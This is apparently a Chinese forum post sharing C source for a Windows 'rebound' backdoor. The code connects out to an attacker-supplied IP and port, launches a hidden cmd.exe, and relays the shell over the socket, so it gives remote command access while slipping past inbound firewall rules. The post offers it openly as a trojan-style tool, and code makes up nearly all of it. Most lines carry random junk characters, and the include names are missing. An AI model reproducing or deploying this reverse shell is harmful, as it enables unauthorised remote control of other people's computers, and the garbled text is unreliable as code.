这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7Bz*r0 9S
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/* ============================== #\4 b:dv
Rebound port in Windows NT Qu%D
By wind,2006/7 Di Or{)a
===============================*/ ?mRE'#
#include },+~F8B
#include #T~&]|{,
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#pragma comment(lib,"wsock32.lib") b
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void OutputShell(); cs_}&!c{
SOCKET sClient; Zv qn%K],
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $T }Tz7(
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void main(int argc,char **argv) AxCI 0
{ PI|`vC|yy&
WSADATA stWsaData; VY'Q|[
int nRet; h3Fo-]0
SOCKADDR_IN stSaiClient,stSaiServer; )QY![&k}1z
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if(argc != 3) en9en=n|
{ |V`S>m%N
printf("Useage:\n\rRebound DestIP DestPort\n"); Sl~x$9`
return; =^h~!ovj:
} 45}v^|Je\
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WSAStartup(MAKEWORD(2,2),&stWsaData); ARL
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kI*Uk M-
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stSaiClient.sin_family = AF_INET; -!*p*3|03|
stSaiClient.sin_port = htons(0); Q
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #Ws53mT
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,EhVSrh)_4
{ r(uP!n1+
printf("Bind Socket Failed!\n"); (;6s)z
return; ,9ml>ji`=
} sm s1%%~
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stSaiServer.sin_family = AF_INET; oL
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a0d
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 17py).\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q#1X[A()
{ aqQ o,5U>
printf("Connect Error!"); /jrY%C
return; Etmo78e
} %"7WXOv&z
OutputShell(); n@B{vyy
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void OutputShell() wz@FrRP=
{ ySruAkw%
char szBuff[1024]; I}:L]H{E
SECURITY_ATTRIBUTES stSecurityAttributes; %{ ~>n"
OSVERSIONINFO stOsversionInfo; INLf# N
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; Oje|bxQ
char *szShell; H2\1gNL
PROCESS_INFORMATION stProcessInformation; I]sqi#h$2W
unsigned long lBytesRead; 7,_-XV2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J%r7<y\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _'*DT=H'U
stSecurityAttributes.lpSecurityDescriptor = 0; 2oNV=b[
stSecurityAttributes.bInheritHandle = TRUE; u
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w~v<v&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <;KRj85"j
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^_w*XV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @aB9%An1
stStartupInfo.wShowWindow = SW_HIDE; j:?N!*r=
stStartupInfo.hStdInput = hReadPipe; `!kL1oUYE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fg@ ACv'@
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GetVersionEx(&stOsversionInfo); ~x+Ykq0
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switch(stOsversionInfo.dwPlatformId) e 2*F;.)
{ `V~LV<v5
case 1: ^?Vq L\V5
szShell = "command.com"; DB Xm
break; M7U:g}
default: -RCv7U`
szShell = "cmd.exe"; !d|8'^gc
break; x[}06k'
} AFtCqq#[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zPE#[\O21B
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send(sClient,szMsg,77,0); ;siJ~|6)
while(1) +QupM
{ z6}Pj>1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %g-0O#8}
if(lBytesRead) F(G<*lA
{ 3#<'[TF00t
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y"Ihr5S\
send(sClient,szBuff,lBytesRead,0); 9C1b^^Kb
} ^(m0M$Wk*
else {*nEKPq(_*
{ ~"5C${~{
lBytesRead=recv(sClient,szBuff,1024,0); qV?sg
if(lBytesRead<=0) break; 67ZYtA|t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z_jn27AC
} .='3bQ(UZ4
} hqWPf
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return; cCYl$Ms kZ
}